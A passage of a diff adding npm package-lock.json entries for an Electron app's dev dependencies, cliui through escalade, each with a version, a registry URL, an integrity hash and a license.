}, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/cliui": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", + "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", + "dev": true, + "license": "ISC", + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.1", + "wrap-ansi": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/clone-response": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.3.tgz", + "integrity": "sha512-ROoL94jJH2dUVML2Y/5PEDNaSHgeOdSDicUyS7izcF63G6sTc/FTjLub4b8Il9S8S0beOfYt0TaA5qvFK+w0wA==", + "dev": true, + "license": "MIT", + "dependencies": { + "mimic-response": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true, + "license": "MIT" + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "dev": true, + "license": "MIT", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/commander": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-5.1.0.tgz", + "integrity": "sha512-P0CysNDQ7rtVw4QIQtm+MRxV66vKFSvlsQvGYXZWR3qFU0jlMKHZZZgw8e+8DSah4UDKMqnknRDQz+xuQXQ/Zg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/compare-version": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/compare-version/-/compare-version-0.1.2.tgz", + "integrity": "sha512-pJDh5/4wrEnXX/VWRZvruAGHkzKdr46z11OlTPN+VrATlWWhSKewNCJ1futCO5C7eJB3nPMFZA1LeYtcFboZ2A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/compress-commons": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/compress-commons/-/compress-commons-4.1.2.tgz", + "integrity": "sha512-D3uMHtGc/fcO1Gt1/L7i1e33VOvD4A9hfQLP+6ewd+BvG/gQ84Yh4oftEhAdjSMgBgwGL+jsppT7JYNpo6MHHg==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "buffer-crc32": "^0.2.13", + "crc32-stream": "^4.0.2", + "normalize-path": "^3.0.0", + "readable-stream": "^3.6.0" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true, + "license": "MIT" + }, + "node_modules/config-file-ts": { + "version": "0.2.6", + "resolved": "https://registry.npmjs.org/config-file-ts/-/config-file-ts-0.2.6.tgz", + "integrity": "sha512-6boGVaglwblBgJqGyxm4+xCmEGcWgnWHSWHY5jad58awQhB6gftq0G8HbzU39YqCIYHMLAiL1yjwiZ36m/CL8w==", + "dev": true, + "license": "MIT", + "dependencies": { + "glob": "^10.3.10", + "typescript": "^5.3.3" + } + }, + "node_modules/config-file-ts/node_modules/glob": { + "version": "10.5.0", + "resolved": "https://registry.npmjs.org/glob/-/glob-10.5.0.tgz", + "integrity": "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg==", + "dev": true, + "license": "ISC", + "dependencies": { + "foreground-child": "^3.1.0", + "jackspeak": "^3.1.2", + "minimatch": "^9.0.4", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^1.11.1" + }, + "bin": { + "glob": "dist/esm/bin.mjs" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/config-file-ts/node_modules/minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/config-file-ts/node_modules/minipass": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.2.tgz", + "integrity": "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=16 || 14 >=14.17" + } + }, + "node_modules/core-util-is": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", + "integrity": "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/crc": { + "version": "3.8.0", + "resolved": "https://registry.npmjs.org/crc/-/crc-3.8.0.tgz", + "integrity": "sha512-iX3mfgcTMIq3ZKLIsVFAbv7+Mc10kxabAGQb8HvjA1o3T1PIYprbakQ65d3I+2HGHt6nSKkM9PYjgoJO2KcFBQ==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "buffer": "^5.1.0" + } + }, + "node_modules/crc-32": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/crc-32/-/crc-32-1.2.2.tgz", + "integrity": "sha512-ROmzCKrTnOwybPcJApAA6WBWij23HVfGVNKqqrZpuyZOHqK2CwHSvpGuyt/UNNvaIjEd8X5IFGp4Mh+Ie1IHJQ==", + "dev": true, + "license": "Apache-2.0", + "peer": true, + "bin": { + "crc32": "bin/crc32.njs" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/crc32-stream": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/crc32-stream/-/crc32-stream-4.0.3.tgz", + "integrity": "sha512-NT7w2JVU7DFroFdYkeq8cywxrgjPHWkdX1wjpRQXPX5Asews3tA+Ght6lddQO5Mkumffp3X7GEqku3epj2toIw==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "crc-32": "^1.2.0", + "readable-stream": "^3.4.0" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "dev": true, + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decompress-response": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", + "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "mimic-response": "^3.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/decompress-response/node_modules/mimic-response": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", + "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/defer-to-connect": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz", + "integrity": "sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/define-data-property": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/define-properties": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.1.tgz", + "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "define-data-property": "^1.0.1", + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/detect-node": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.1.0.tgz", + "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==", + "dev": true, + "license": "MIT", + "optional": true + }, + "node_modules/dir-compare": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/dir-compare/-/dir-compare-3.3.0.tgz", + "integrity": "sha512-J7/et3WlGUCxjdnD3HAAzQ6nsnc0WL6DD7WcwJb7c39iH1+AWfg+9OqzJNaI6PkBwBvm1mhZNL9iY/nRiZXlPg==", + "dev": true, + "license": "MIT", + "dependencies": { + "buffer-equal": "^1.0.0", + "minimatch": "^3.0.4" + } + }, + "node_modules/dir-compare/node_modules/brace-expansion": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", + "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/dir-compare/node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/dmg-builder": { + "version": "24.13.3", + "resolved": "https://registry.npmjs.org/dmg-builder/-/dmg-builder-24.13.3.tgz", + "integrity": "sha512-rcJUkMfnJpfCboZoOOPf4L29TRtEieHNOeAbYPWPxlaBw/Z1RKrRA86dOI9rwaI4tQSc/RD82zTNHprfUHXsoQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "app-builder-lib": "24.13.3", + "builder-util": "24.13.1", + "builder-util-runtime": "9.2.4", + "fs-extra": "^10.1.0", + "iconv-lite": "^0.6.2", + "js-yaml": "^4.1.0" + }, + "optionalDependencies": { + "dmg-license": "^1.0.11" + } + }, + "node_modules/dmg-builder/node_modules/fs-extra": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", + "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/dmg-builder/node_modules/jsonfile": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.0.tgz", + "integrity": "sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg==", + "dev": true, + "license": "MIT", + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/dmg-builder/node_modules/universalify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", + "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/dmg-license": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/dmg-license/-/dmg-license-1.0.11.tgz", + "integrity": "sha512-ZdzmqwKmECOWJpqefloC5OJy1+WZBBse5+MR88z9g9Zn4VY+WYUkAyojmhzJckH5YbbZGcYIuGAkY5/Ys5OM2Q==", + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "dependencies": { + "@types/plist": "^3.0.1", + "@types/verror": "^1.10.3", + "ajv": "^6.10.0", + "crc": "^3.8.0", + "iconv-corefoundation": "^1.1.7", + "plist": "^3.0.4", + "smart-buffer": "^4.0.2", + "verror": "^1.10.0" + }, + "bin": { + "dmg-license": "bin/dmg-license.js" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/dotenv": { + "version": "9.0.2", + "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-9.0.2.tgz", + "integrity": "sha512-I9OvvrHp4pIARv4+x9iuewrWycX6CcZtoAu1XrzPxc5UygMJXJZYmBsynku8IkrJwgypE5DGNjDPmPRhDCptUg==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=10" + } + }, + "node_modules/dotenv-expand": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/dotenv-expand/-/dotenv-expand-5.1.0.tgz", + "integrity": "sha512-YXQl1DSa4/PQyRfgrv6aoNjhasp/p4qs9FjJ4q4cQk+8m4r6k4ZSiEyytKG8f8W9gi8WsQtIObNmKd+tMzNTmA==", + "dev": true, + "license": "BSD-2-Clause" + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/eastasianwidth": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz", + "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==", + "dev": true, + "license": "MIT" + }, + "node_modules/ejs": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.10.tgz", + "integrity": "sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "jake": "^10.8.5" + }, + "bin": { + "ejs": "bin/cli.js" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/electron": { + "version": "23.3.13", + "resolved": "https://registry.npmjs.org/electron/-/electron-23.3.13.tgz", + "integrity": "sha512-BaXtHEb+KYKLouUXlUVDa/lj9pj4F5kiE0kwFdJV84Y2EU7euIDgPthfKtchhr5MVHmjtavRMIV/zAwEiSQ9rQ==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "dependencies": { + "@electron/get": "^2.0.0", + "@types/node": "^16.11.26", + "extract-zip": "^2.0.1" + }, + "bin": { + "electron": "cli.js" + }, + "engines": { + "node": ">= 12.20.55" + } + }, + "node_modules/electron-builder": { + "version": "24.13.3", + "resolved": "https://registry.npmjs.org/electron-builder/-/electron-builder-24.13.3.tgz", + "integrity": "sha512-yZSgVHft5dNVlo31qmJAe4BVKQfFdwpRw7sFp1iQglDRCDD6r22zfRJuZlhtB5gp9FHUxCMEoWGq10SkCnMAIg==", + "dev": true, + "license": "MIT", + "dependencies": { + "app-builder-lib": "24.13.3", + "builder-util": "24.13.1", + "builder-util-runtime": "9.2.4", + "chalk": "^4.1.2", + "dmg-builder": "24.13.3", + "fs-extra": "^10.1.0", + "is-ci": "^3.0.0", + "lazy-val": "^1.0.5", + "read-config-file": "6.3.2", + "simple-update-notifier": "2.0.0", + "yargs": "^17.6.2" + }, + "bin": { + "electron-builder": "cli.js", + "install-app-deps": "install-app-deps.js" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/electron-builder-squirrel-windows": { + "version": "24.13.3", + "resolved": "https://registry.npmjs.org/electron-builder-squirrel-windows/-/electron-builder-squirrel-windows-24.13.3.tgz", + "integrity": "sha512-oHkV0iogWfyK+ah9ZIvMDpei1m9ZRpdXcvde1wTpra2U8AFDNNpqJdnin5z+PM1GbQ5BoaKCWas2HSjtR0HwMg==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "app-builder-lib": "24.13.3", + "archiver": "^5.3.1", + "builder-util": "24.13.1", + "fs-extra": "^10.1.0" + } + }, + "node_modules/electron-builder-squirrel-windows/node_modules/fs-extra": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", + "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/electron-builder-squirrel-windows/node_modules/jsonfile": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.0.tgz", + "integrity": "sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/electron-builder-squirrel-windows/node_modules/universalify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", + "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "dev": true, + "license": "MIT", + "peer": true, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/electron-builder/node_modules/fs-extra": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", + "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/electron-builder/node_modules/jsonfile": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.0.tgz", + "integrity": "sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg==", + "dev": true, + "license": "MIT", + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/electron-builder/node_modules/universalify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", + "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/electron-publish": { + "version": "24.13.1", + "resolved": "https://registry.npmjs.org/electron-publish/-/electron-publish-24.13.1.tgz", + "integrity": "sha512-2ZgdEqJ8e9D17Hwp5LEq5mLQPjqU3lv/IALvgp+4W8VeNhryfGhYEQC/PgDPMrnWUp+l60Ou5SJLsu+k4mhQ8A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/fs-extra": "^9.0.11", + "builder-util": "24.13.1", + "builder-util-runtime": "9.2.4", + "chalk": "^4.1.2", + "fs-extra": "^10.1.0", + "lazy-val": "^1.0.5", + "mime": "^2.5.2" + } + }, + "node_modules/electron-publish/node_modules/fs-extra": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", + "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/electron-publish/node_modules/jsonfile": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.0.tgz", + "integrity": "sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg==", + "dev": true, + "license": "MIT", + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/electron-publish/node_modules/universalify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", + "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true, + "license": "MIT" + }, + "node_modules/end-of-stream": { + "version": "1.4.5", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.5.tgz", + "integrity": "sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==", + "dev": true, + "license": "MIT", + "dependencies": { + "once": "^1.4.0" + } + }, + "node_modules/env-paths": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz", + "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/err-code": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/err-code/-/err-code-2.0.3.tgz", + "integrity": "sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA==", + "dev": true, + "license": "MIT" + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-object-atoms": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", + "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es6-error": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/es6-error/-/es6-error-4.1.1.tgz", + "integrity": "sha512-Um/+FxMr9CISWh0bi5Zv0iOD+4cFh5qLeks1qhAopKVAJw3drgKbKySikp7wGhDL0HPeaja0P5ULZrxLkniUVg==", + "dev": true, + "license": "MIT", + "optional": true + }, + "node_modules/escalade": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + 